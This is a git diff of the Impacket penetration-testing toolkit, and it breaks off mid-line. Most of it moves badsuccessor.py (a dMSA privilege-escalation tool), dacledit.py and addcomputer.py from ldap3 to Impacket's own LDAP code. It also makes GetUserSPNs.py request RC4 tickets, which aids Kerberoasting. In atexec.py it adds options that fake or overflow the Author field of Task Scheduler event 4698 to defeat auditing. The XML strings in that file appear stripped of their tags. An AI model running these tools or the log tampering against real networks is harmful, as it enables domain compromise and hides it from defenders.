diff --git a/ChangeLog.md b/ChangeLog.md index a13032a96c..bf8186c45e 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -5,6 +5,13 @@ Project owner's main page is at www.coresecurity.com. Complete list of changes can be found at: https://github.com/fortra/impacket/commits/master +## Unreleased: + +1. Examples improvements + + * [atexec.py](examples/atexec.py): + * Added mutually exclusive `-author-log` and `-overflow` options to poison or overflow the Task Scheduler Security Event 4698 Author field via task XML RegistrationInfo. + ## Impacket v0.13.1 (May 2026): 1. Library improvements diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index d5edad4489..dd705d7b0b 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -47,7 +47,7 @@ from impacket.krb5 import constants from impacket.krb5.asn1 import TGS_REP, AS_REP from impacket.krb5.ccache import CCache -from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, RC4_PREFERRED_TGS_ENCTYPES from impacket.krb5.types import Principal from impacket.ldap import ldap, ldapasn1 from impacket.ntlm import compute_lmhash, compute_nthash @@ -376,7 +376,8 @@ def run(self): tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, self.__kdcIP, TGT['KDC_REP'], TGT['cipher'], - TGT['sessionKey']) + TGT['sessionKey'], + etypes=RC4_PREFERRED_TGS_ENCTYPES) self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.__targetDomain + "/" + sAMAccountName, fd) except Exception as e: @@ -435,7 +436,8 @@ def request_multiple_TGSs(self, usernames): tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, self.__kdcIP, TGT['KDC_REP'], TGT['cipher'], - TGT['sessionKey']) + TGT['sessionKey'], + etypes=RC4_PREFERRED_TGS_ENCTYPES) self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) except Exception as e: logging.debug("Exception:", exc_info=True) diff --git a/examples/addcomputer.py b/examples/addcomputer.py index 6a7a7db863..5b7439ce58 100755 --- a/examples/addcomputer.py +++ b/examples/addcomputer.py @@ -25,9 +25,6 @@ # [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol # -from __future__ import division -from __future__ import print_function -from __future__ import unicode_literals from impacket import version from impacket.examples import logger @@ -35,16 +32,15 @@ from impacket.dcerpc.v5 import samr, epm, transport from impacket.spnego import SPNEGO_NegTokenInit, TypesMech -from impacket.examples.utils import init_ldap_session, ldap3_kerberos_login - -import ldap3 import argparse import logging import sys import string import random -import ssl -from binascii import unhexlify + +from impacket.ldap import ldap +from impacket.ldap import ldapasn1 +from impacket.examples.utils import ldap_login class ADDCOMPUTER: @@ -148,32 +144,34 @@ def run_samr(self): def run_ldaps(self): try: - ldapServer, ldapConn = init_ldap_session(self.__domain, self.__username, self.__password, self.__lmhash, self.__nthash, self.__doKerberos, self.__targetIp, self.__target, self.__aesKey, True) + ldapConn = ldap_login(self.__target, self.__baseDN, self.__targetIp, self.__target, self.__doKerberos, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, ldaps_flag=True) if self.__noAdd or self.__delete: if not self.LDAPComputerExists(ldapConn, self.__computerName): raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN)) - computer = self.LDAPGetComputer(ldapConn, self.__computerName) + computerDn = self.LDAPGetComputerDN(ldapConn, self.__computerName) if self.__delete: - res = ldapConn.delete(computer.entry_dn) message = "delete" else: - res = ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]}) message = "set password for" - - if not res: - if ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: + try: + if self.__delete: + ldapConn.delete(computerDn) + else: + ldapConn.modify(computerDn, {'unicodePwd': [(ldap.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]}) + except ldap.LDAPSessionError as e: + if e.getErrorCode() == 50: # insufficientAccessRights raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) else: - raise Exception(str(ldapConn.result)) + raise Exception(str(e)) + + if self.__noAdd: + logging.info("Succesfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) else: - if self.__noAdd: - logging.info("Succesfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) - else: - logging.info("Succesfully deleted %s." % self.__computerName) + logging.info("Succesfully deleted %s." % self.__computerName) else: if self.__computerName is not None: @@ -204,18 +202,19 @@ def run_ldaps(self): 'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le') } - res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd) - if not res: - if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM: - error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16) + try: + ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd) + except ldap.LDAPSessionError as e: + if e.getErrorCode() == 53: # unwillingToPerform + error_code = int(e.getErrorString().split(':')[1].strip(), 16) if error_code == 0x216D: raise Exception("User %s machine quota exceeded!" % self.__username) else: - raise Exception(str(ldapConn.result)) - elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: + raise Exception(str(e)) + elif e.getErrorCode() == 50: # insufficientAccessRights raise Exception("User %s doesn't have right to create a machine account!" % self.__username) else: - raise Exception(str(ldapConn.result)) + raise Exception(str(e)) else: logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) except Exception as e: @@ -227,12 +226,16 @@ def run_ldaps(self): def LDAPComputerExists(self, connection, computerName): - connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) - return len(connection.entries) ==1 - - def LDAPGetComputer(self, connection, computerName): - connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) - return connection.entries[0] + results = connection.search(searchBase=self.__baseDN, searchFilter='(sAMAccountName=%s)' % computerName) + entries = [item for item in results if isinstance(item, ldapasn1.SearchResultEntry)] + return len(entries) == 1 + + def LDAPGetComputerDN(self, connection, computerName): + results = connection.search(searchBase=self.__baseDN, searchFilter='(sAMAccountName=%s)' % computerName) + for item in results: + if isinstance(item, ldapasn1.SearchResultEntry): + return str(item['objectName']) + return None def generateComputerName(self): return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$') diff --git a/examples/atexec.py b/examples/atexec.py index c55618d4d7..0eb3ff1092 100755 --- a/examples/atexec.py +++ b/examples/atexec.py @@ -16,6 +16,7 @@ # # Author: # Alberto Solino (@agsolino) +# Log Poisoning / Overflow implementation by Ruben Enkaoua (@rubenlabs with Kopnex / Cymulate) # # Reference for: # DCE/RPC for TSCH @@ -41,10 +42,11 @@ from six import PY2 CODEC = sys.stdout.encoding +AUTHOR_OVERFLOW_LEN = 4000 class TSCH_EXEC: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, - command=None, sessionId=None, silentCommand=False): + command=None, sessionId=None, silentCommand=False, authorLog=None, overflow=False): self.__username = username self.__password = password self.__domain = domain @@ -55,6 +57,8 @@ def __init__(self, username='', password='', domain='', hashes=None, aesKey=None self.__kdcHost = kdcHost self.__command = command self.__silentCommand = silentCommand + self.__authorLog = authorLog + self.__overflow = overflow self.sessionId = sessionId if hashes is not None: @@ -123,9 +127,23 @@ def cmd_split(cmdline): cmd = "cmd.exe" args = "/C %s > %%windir%%\\Temp\\%s 2>&1" % (self.__command, tmpFileName) + registrationInfo = '' + if self.__overflow is True: + logging.info('Using Author overflow (%d characters) for Task Scheduler log tampering' % AUTHOR_OVERFLOW_LEN) + registrationInfo = """ + %s + +""" % ('A' * AUTHOR_OVERFLOW_LEN) + elif self.__authorLog is not None: + logging.info('Using fake Author "%s" for Task Scheduler log poisoning' % self.__authorLog) + registrationInfo = """ + %s + +""" % xml_escape(self.__authorLog) + xml = """ - +%s 2015-07-15T20:35:13.2757294 true @@ -165,7 +183,8 @@ def cmd_split(cmdline): - """ % ((xml_escape(cmd) if self.__silentCommand is False else self.__command.split()[0]), + """ % (registrationInfo, + (xml_escape(cmd) if self.__silentCommand is False else self.__command.split()[0]), (xml_escape(args) if self.__silentCommand is False else " ".join(self.__command.split()[1:]))) taskCreated = False try: @@ -251,6 +270,13 @@ def cmd_split(cmdline): parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') parser.add_argument('-silentcommand', action='store_true', default = False, help='does not execute cmd.exe to run ' 'given command (no output)') + author_group = parser.add_mutually_exclusive_group() + author_group.add_argument('-overflow', action='store_true', default=False, + help='overflow Security Event 4698 by setting a %d-byte Author in the task XML ' + '(mutually exclusive with -author-log)' % AUTHOR_OVERFLOW_LEN) + author_group.add_argument('-author-log', action='store', metavar='author', + help='poison Security Event 4698 Author field with the given value ' + '(mutually exclusive with -overflow)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' @@ -310,5 +336,6 @@ def cmd_split(cmdline): options.k = True atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, - ' '.join(options.command), options.session_id, options.silentcommand) + ' '.join(options.command), options.session_id, options.silentcommand, + options.author_log, options.overflow) atsvc_exec.play(address) diff --git a/examples/badsuccessor.py b/examples/badsuccessor.py index d0ec0b8269..0a73313ad6 100644 --- a/examples/badsuccessor.py +++ b/examples/badsuccessor.py @@ -26,15 +26,20 @@ import random import string import sys -import ldap3 from impacket import version from impacket.examples import logger -from impacket.examples.utils import parse_identity, parse_target, init_ldap_session -from impacket.ldap import ldaptypes +from impacket.examples.utils import (parse_identity, parse_target, ldap_login, + ldap_value_to_bytes, as_string, as_sid_string, + search_entries) +from impacket.ldap import ldap, ldapasn1, ldaptypes import uuid #needed for proper GUID conversion +from impacket.ldap.ldap import get_entry_dn, get_entry_value, get_entry_values class BADSUCCESSOR: + LDAP_SCOPE_BASE = ldap.Scope('baseObject') + LDAP_SCOPE_SUBTREE = ldap.Scope('wholeSubtree') + def __init__(self, username, password, domain, lmhash, nthash, cmdLineOptions): self.__username = username self.__password = password @@ -92,28 +97,24 @@ def run(self): try: use_ldaps = (self.__method == 'LDAPS') - - # For Kerberos authentication, ensure proper target resolution - if self.__doKerberos: - target_host = self.__target if self.__target else self.__domain - dc_ip = self.__kdcHost if self.__kdcHost else self.__targetIp - else: - target_host = self.__target if self.__target else self.__domain - dc_ip = self.__targetIp - - _, ldapConnection = init_ldap_session( - domain=self.__domain, - username=self.__username, - password=self.__password, - lmhash=self.__lmhash, - nthash=self.__nthash, - k=self.__doKerberos, - dc_ip=dc_ip, - dc_host=target_host, - aesKey=self.__aesKey, - use_ldaps=use_ldaps + + target_host = self.__target if self.__target else self.__domain + dc_ip = self.__targetIp + + ldapConnection = ldap_login( + target_host, + self.__baseDN, + dc_ip, + target_host, + self.__doKerberos, + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + ldaps_flag=use_ldaps, ) - except Exception as e: raise Exception('Could not connect to LDAP server: %s' % str(e)) @@ -134,7 +135,7 @@ def run(self): logging.error('Unknown action: %s' % self.__action) result = False - ldapConnection.unbind() + ldapConnection.close() return result def delete_dmsa(self, ldapConnection): @@ -159,10 +160,7 @@ def delete_dmsa(self, ldapConnection): logging.info("%-30s %s" % ("-" * 30, "-" * 30)) logging.info("%-30s %s" % ("dMSA Name:", '%s$' % self.__dmsaName)) logging.info("%-30s %s" % ("Status:", "SUCCESS" if success else "FAILED")) - - if not success and ldapConnection.result: - logging.error("%-30s %s" % ("Error:", ldapConnection.result)) - + return success except Exception as e: @@ -171,15 +169,15 @@ def delete_dmsa(self, ldapConnection): def check_account_exists(self, ldapConnection, dn): try: - success = ldapConnection.search( - search_base=dn, - search_filter='(objectClass=*)', - search_scope=ldap3.BASE, + entries = search_entries( + ldapConnection, + '(objectClass=*)', + dn, + search_scope=self.LDAP_SCOPE_BASE, attributes=['cn'] ) - - return success and len(ldapConnection.entries) > 0 - + + return len(entries) > 0 except Exception as e: logging.debug('Error checking account existence: %s' % str(e)) # If we can't determine, assume it doesn't exist to avoid blocking operations @@ -188,71 +186,58 @@ def check_account_exists(self, ldapConnection, dn): def search_ous(self, ldapConnection): try: logging.info('Searching for OUs vulnerable to BadSuccessor attack...') - - if not ldapConnection.bound: - logging.error('LDAP connection is not bound') - return False - - success = ldapConnection.search( - search_base=self.__baseDN, - search_filter='(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))', - search_scope=ldap3.SUBTREE, + + dc_entries = search_entries( + ldapConnection, + '(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))', + self.__baseDN, + search_scope=self.LDAP_SCOPE_SUBTREE, attributes=['operatingSystem', 'operatingSystemVersion'] ) - - if not success: - logging.error('Failed to search for Domain Controllers: %s' % ldapConnection.result) - return False - prereq_flag = False - for entry in ldapConnection.entries: - if ('operatingSystem' and 'operatingSystemVersion') not in entry: - logging.error('Could not retrieve operating system information for Domain Controller: %s' % entry.entry_dn) - pass - else: - if 'Windows Server 2025' in entry.operatingSystem.value or '26100' in entry.operatingSystemVersion.value: - logging.info('Found Windows Server 2025 Domain Controller: %s' % entry.entry_dn) - prereq_flag = True - break + for entry in dc_entries: + operating_system = as_string(get_entry_value(entry, 'operatingSystem')) + operating_system_version = as_string(get_entry_value(entry, 'operatingSystemVersion')) + if not operating_system or not operating_system_version: + logging.error('Could not retrieve operating system information for Domain Controller: %s' % get_entry_dn(entry)) + continue + + if 'Windows Server 2025' in operating_system or '26100' in operating_system_version: + logging.info('Found Windows Server 2025 Domain Controller: %s' % get_entry_dn(entry)) + prereq_flag = True + break if not prereq_flag: logging.info('No Windows Server 2025 Domain Controllers found. This script requires at least one DC running Windows Server 2025.') logging.info('Resulting list of Identities/OUs will show Identities that have permissions to create objects in OUs.') - - success = ldapConnection.search( - search_base=self.__baseDN, - search_filter='(objectClass=organizationalUnit)', - search_scope=ldap3.SUBTREE, + ou_entries = search_entries( + ldapConnection, + '(objectClass=organizationalUnit)', + self.__baseDN, + search_scope=self.LDAP_SCOPE_SUBTREE, attributes=['distinguishedName', 'nTSecurityDescriptor'], - controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x5) + search_controls=[ldapasn1.SDFlagsControl(flags=0x5)] ) - - - if not success: - logging.error('Failed to search for organizational units: %s' % ldapConnection.result) - return False - - # Store the OU entries before they get overwritten by other searches - ou_entries = list(ldapConnection.entries) logging.info('Found %d organizational units' % len(ou_entries)) # Get domain SID for filtering excluded accounts + domain_sid = None try: - success = ldapConnection.search( - search_base=self.__baseDN, - search_filter='(objectClass=domain)', - search_scope=ldap3.BASE, + domain_entries = search_entries( + ldapConnection, + '(objectClass=domain)', + self.__baseDN, + search_scope=self.LDAP_SCOPE_BASE, attributes=['objectSid'] ) - - if success and len(ldapConnection.entries) > 0: - entry = ldapConnection.entries[0] - if 'objectSid' in entry: - domain_sid = entry.objectSid.value + + if domain_entries: + domain_sid = as_sid_string(get_entry_value(domain_entries[0], 'objectSid')) except Exception as e: logging.error('Failed to retrieve domain SID: %s' % str(e)) return False + allowed_identities = {} relevant_rights = { @@ -269,12 +254,11 @@ def search_ous(self, ldapConnection): for entry in ou_entries: try: - ou_dn = str(entry.entry_dn) - - if 'nTSecurityDescriptor' not in entry or not entry.nTSecurityDescriptor.value: + ou_dn = get_entry_dn(entry) + sd_data = ldap_value_to_bytes(get_entry_value(entry, 'nTSecurityDescriptor')) + if not sd_data: continue - - sd_data = entry.nTSecurityDescriptor.value + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data) # Process DACL entries (ACEs) @@ -385,17 +369,17 @@ def resolve_sid_to_name(self, ldapConnection, sid): if sid in well_known_sids: return well_known_sids[sid] - success = ldapConnection.search( - search_base=self.__baseDN, - search_filter='(objectSid=%s)' % sid, - search_scope=ldap3.SUBTREE, + entries = search_entries( + ldapConnection, + '(objectSid=%s)' % sid, + self.__baseDN, + search_scope=self.LDAP_SCOPE_SUBTREE, attributes=['sAMAccountName'] ) - - if success and len(ldapConnection.entries) > 0: - entry = ldapConnection.entries[0] - if 'sAMAccountName' in entry: - username = entry.sAMAccountName.value + + if entries: + username = as_string(get_entry_value(entries[0], 'sAMAccountName')) + if username: return '%s\\%s' % (self.__domain.upper(), username) return sid @@ -529,7 +513,6 @@ def add_dmsa(self, ldapConnection): dns_hostname = '%s.%s' % (self.__dmsaName.lower(), self.__domain) attributes = { - 'objectClass': ['msDS-DelegatedManagedServiceAccount'], 'cn': self.__dmsaName, 'sAMAccountName': '%s$' % self.__dmsaName, 'dNSHostName': dns_hostname, @@ -543,19 +526,18 @@ def add_dmsa(self, ldapConnection): group_msa_membership = None try: search_filter = '(&(objectClass=user)(sAMAccountName=%s))' % principals_allowed - success = ldapConnection.search( - search_base=self.__baseDN, - search_filter=search_filter, - search_scope=ldap3.SUBTREE, + entries = search_entries( + ldapConnection, + search_filter, + self.__baseDN, + search_scope=self.LDAP_SCOPE_SUBTREE, attributes=['objectSid']) - if success and len(ldapConnection.entries) > 0: - entry = ldapConnection.entries[0] - if 'objectSid' in entry: - user_sid = entry.objectSid.value - if user_sid: - descriptor = self.build_security_descriptor(user_sid) - group_msa_membership = descriptor - attributes['nTSecurityDescriptor'] = descriptor + if entries: + user_sid = as_sid_string(get_entry_value(entries[0], 'objectSid')) + if user_sid: + descriptor = self.build_security_descriptor(user_sid) + group_msa_membership = descriptor + attributes['nTSecurityDescriptor'] = descriptor except Exception as e: logging.debug('Error building MSA membership: %s' % str(e)) @@ -565,20 +547,22 @@ def add_dmsa(self, ldapConnection): attributes['msDS-GroupMSAMembership'] = group_msa_membership target_dn = None - success = ldapConnection.search( - search_base=self.__baseDN, - search_filter='(&(objectClass=*)(sAMAccountName=%s))' % target_account, - search_scope=ldap3.SUBTREE, + entries = search_entries( + ldapConnection, + '(&(objectClass=*)(sAMAccountName=%s))' % target_account, + self.__baseDN, + search_scope=self.LDAP_SCOPE_SUBTREE, attributes=['distinguishedName', 'objectClass'] ) - if success and len(ldapConnection.entries) > 0: - for entry in ldapConnection.entries: - object_classes = [str(oc).lower() for oc in entry.objectClass.values] + if entries: + for entry in entries: + object_classes = [as_string(value).lower() for value in get_entry_values(entry, 'objectClass')] if 'user' in object_classes or 'computer' in object_classes: - target_dn = str(entry.entry_dn) - # Return first match if no user/computer found - target_dn = str(ldapConnection.entries[0].entry_dn) + target_dn = get_entry_dn(entry) + break + if target_dn is None: + target_dn = get_entry_dn(entries[0]) if target_dn: attributes['msDS-ManagedAccountPrecededByLink'] = target_dn @@ -589,7 +573,7 @@ def add_dmsa(self, ldapConnection): logging.error('Target account not found: %s' % target_account) return False - success = ldapConnection.add(dmsa_dn, attributes=attributes) + success = ldapConnection.add(dmsa_dn, ['msDS-DelegatedManagedServiceAccount'], attributes=attributes) if success: logging.info("") @@ -600,10 +584,6 @@ def add_dmsa(self, ldapConnection): logging.info("%-30s %s" % ("Principals Allowed:", principals_allowed)) logging.info("%-30s %s" % ("Target Account:", target_account)) return True - else: - if ldapConnection.result: - logging.error('LDAP error: %s' % ldapConnection.result) - return False except Exception as e: logging.error('dMSA creation failed: %s' % str(e)) @@ -618,39 +598,39 @@ def modify_dmsa(self, ldapConnection): return False # Get current target account value - success = ldapConnection.search( - search_base=dmsa_dn, - search_filter='(objectClass=msDS-DelegatedManagedServiceAccount)', - search_scope=ldap3.BASE, + entries = search_entries( + ldapConnection, + '(objectClass=msDS-DelegatedManagedServiceAccount)', + dmsa_dn, + search_scope=self.LDAP_SCOPE_BASE, attributes=['msDS-ManagedAccountPrecededByLink'] ) - + current_target_dn = None - if success and len(ldapConnection.entries) > 0: - entry = ldapConnection.entries[0] - if hasattr(entry, 'msDS-ManagedAccountPrecededByLink'): - current_target_dn = entry['msDS-ManagedAccountPrecededByLink'].value - - success = ldapConnection.search( - search_base=self.__baseDN, - search_filter='(&(objectClass=*)(sAMAccountName=%s))' % self.__targetAccount, - search_scope=ldap3.SUBTREE, + if entries: + current_target_dn = as_string(get_entry_value(entries[0], 'msDS-ManagedAccountPrecededByLink')) + + entries = search_entries( + ldapConnection, + '(&(objectClass=*)(sAMAccountName=%s))' % self.__targetAccount, + self.__baseDN, + search_scope=self.LDAP_SCOPE_SUBTREE, attributes=['distinguishedName', 'objectClass'] ) - if not (success and len(ldapConnection.entries) > 0): + if not entries: logging.error('Target account not found: %s' % self.__targetAccount) return False target_dn = None - for entry in ldapConnection.entries: - object_classes = [str(oc).lower() for oc in entry.objectClass.values] + for entry in entries: + object_classes = [as_string(value).lower() for value in get_entry_values(entry, 'objectClass')] if 'user' in object_classes or 'computer' in object_classes: - target_dn = str(entry.entry_dn) + target_dn = get_entry_dn(entry) break - + if not target_dn: - target_dn = str(ldapConnection.entries[0].entry_dn) + target_dn = get_entry_dn(entries[0]) if current_target_dn == target_dn: logging.info('Target account is already set to: %s' % target_dn) @@ -658,7 +638,7 @@ def modify_dmsa(self, ldapConnection): return True modifications = { - 'msDS-ManagedAccountPrecededByLink': [(ldap3.MODIFY_REPLACE, [target_dn])] + 'msDS-ManagedAccountPrecededByLink': [(ldap.MODIFY_REPLACE, [target_dn])] } success = ldapConnection.modify(dmsa_dn, modifications) @@ -666,9 +646,6 @@ def modify_dmsa(self, ldapConnection): if success: logging.info('dMSA target account modified: %s -> %s' % (current_target_dn or '(not set)', target_dn)) return True - else: - logging.error('Failed to modify dMSA: %s' % ldapConnection.result) - return False except Exception as e: logging.error('Error modifying dMSA: %s' % str(e)) diff --git a/examples/dacledit.py b/examples/dacledit.py index f5c729bda5..c2ab0de67e 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -28,20 +28,18 @@ import traceback import datetime -import ldap3 -import ldapdomaindump from enum import Enum -from ldap3.protocol.formatters.formatters import format_sid from impacket import version from impacket.examples import logger, utils -from impacket.ldap import ldaptypes +from impacket.ldap import ldap, ldapasn1, ldaptypes +from impacket.ldap.ldap import escape_filter_chars, get_entry_dn, get_entry_value, get_entry_values from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS -from ldap3.utils.conv import escape_filter_chars -from ldap3.protocol.microsoft import security_descriptor_control from impacket.uuid import string_to_bin, bin_to_string -from impacket.examples.utils import init_ldap_session, parse_identity +from impacket.examples.utils import (ldap_login, parse_identity, + ldap_value_to_bytes, as_string, as_sid_string, + search_entries, log_ldap_error) OBJECT_TYPES_GUID = {} OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) @@ -222,10 +220,10 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): class DACLedit(object): """docstring for setrbcd""" - def __init__(self, ldap_server, ldap_session, args): + def __init__(self, ldap_session, base_dn, args): super(DACLedit, self).__init__() - self.ldap_server = ldap_server self.ldap_session = ldap_session + self.base_dn = base_dn self.target_sAMAccountName = args.target_sAMAccountName self.target_SID = args.target_SID @@ -243,10 +241,7 @@ def __init__(self, ldap_server, ldap_session, args): if self.inheritance: logging.info("NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU") - logging.debug('Initializing domainDumper()') - cnf = ldapdomaindump.domainDumpConfig() - cnf.basepath = None - self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + self.dacl_controls = [ldapasn1.SDFlagsControl(flags=0x04)] if args.mask is not None: if args.mask.startswith("0x"): @@ -267,7 +262,7 @@ def __init__(self, ldap_server, ldap_session, args): # Searching for target account with its security descriptor self.search_target_principal_security_descriptor() # Extract security descriptor data - self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_raw_security_descriptor = ldap_value_to_bytes(get_entry_value(self.target_principal, 'nTSecurityDescriptor')) self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) # Searching for the principal SID if any principal argument was given and principal_SID wasn't @@ -275,12 +270,12 @@ def __init__(self, ldap_server, ldap_session, args): _lookedup_principal = "" if self.principal_sAMAccountName is not None: _lookedup_principal = self.principal_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) + entries = search_entries(self.ldap_session, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), self.base_dn, attributes=['objectSid']) elif self.principal_DN is not None: _lookedup_principal = self.principal_DN - self.ldap_session.search(_lookedup_principal, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) + entries = search_entries(self.ldap_session, '(distinguishedName=%s)' % escape_filter_chars(_lookedup_principal), self.base_dn, attributes=['objectSid']) try: - self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + self.principal_SID = as_sid_string(get_entry_value(entries[0], 'objectSid')) logging.debug("Found principal SID: %s" % self.principal_SID) except IndexError: logging.error('Principal SID not found in LDAP (%s)' % _lookedup_principal) @@ -301,19 +296,19 @@ def write(self): # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: - logging.debug("Appending ACE (%s --(FullControl)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + logging.debug("Appending ACE (%s --(FullControl)--> %s)" % (self.principal_SID, self.target_SID or self.target_sAMAccountName or self.target_DN)) self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) elif self.rights == "Custom" and self.force_mask is not None: - logging.debug("Appending ACE (%s --(Custom)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + logging.debug("Appending ACE (%s --(Custom)--> %s)" % (self.principal_SID, self.target_SID or self.target_sAMAccountName or self.target_DN)) self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(self.force_mask, self.principal_SID, self.ace_type)) else: for rights_guid in self.build_guids_for_rights(): - logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) + logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, self.target_SID or self.target_sAMAccountName or self.target_DN)) self.principal_security_descriptor['Dacl'].aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type, force_mask=self.force_mask)) # Backups current DACL before add the new one self.backup() # Effectively push the DACL with the new ACE - self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) + self.modify_secDesc_for_dn(get_entry_dn(self.target_principal), self.principal_security_descriptor) return @@ -370,7 +365,7 @@ def remove(self): if dacl_must_be_replaced: self.principal_security_descriptor['Dacl'].aces = new_dacl self.backup() - self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) + self.modify_secDesc_for_dn(get_entry_dn(self.target_principal), self.principal_security_descriptor) else: logging.info("Nothing to remove...") @@ -380,7 +375,7 @@ def remove(self): def backup(self): backup = {} backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('utf-8') - backup["dn"] = self.target_principal.entry_dn + backup["dn"] = get_entry_dn(self.target_principal) if not self.filename: self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") else: @@ -407,7 +402,7 @@ def restore(self): # Searching for target account with its security descriptor self.search_target_principal_security_descriptor() # Extract security descriptor data - self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_raw_security_descriptor = ldap_value_to_bytes(get_entry_value(self.target_principal, 'nTSecurityDescriptor')) self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) # Do a backup of the actual DACL and push the restoration @@ -418,19 +413,17 @@ def restore(self): # Attempts to retrieve the DACL in the Security Descriptor of the specified target def search_target_principal_security_descriptor(self): _lookedup_principal = "" - # Set SD flags to only query for DACL - controls = security_descriptor_control(sdflags=0x04) if self.target_sAMAccountName is not None: _lookedup_principal = self.target_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) + entries = search_entries(self.ldap_session, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), self.base_dn, attributes=['nTSecurityDescriptor'], search_controls=self.dacl_controls) elif self.target_SID is not None: _lookedup_principal = self.target_SID - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + entries = search_entries(self.ldap_session, '(objectSid=%s)' % _lookedup_principal, self.base_dn, attributes=['nTSecurityDescriptor'], search_controls=self.dacl_controls) elif self.target_DN is not None: _lookedup_principal = self.target_DN - self.ldap_session.search(_lookedup_principal, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + entries = search_entries(self.ldap_session, '(distinguishedName=%s)' % escape_filter_chars(_lookedup_principal), self.base_dn, attributes=['nTSecurityDescriptor'], search_controls=self.dacl_controls) try: - self.target_principal = self.ldap_session.entries[0] + self.target_principal = entries[0] logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) @@ -441,12 +434,12 @@ def search_target_principal_security_descriptor(self): # Not used for the moment # - samname : a sAMAccountName def get_user_info(self, samname): - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + entries = 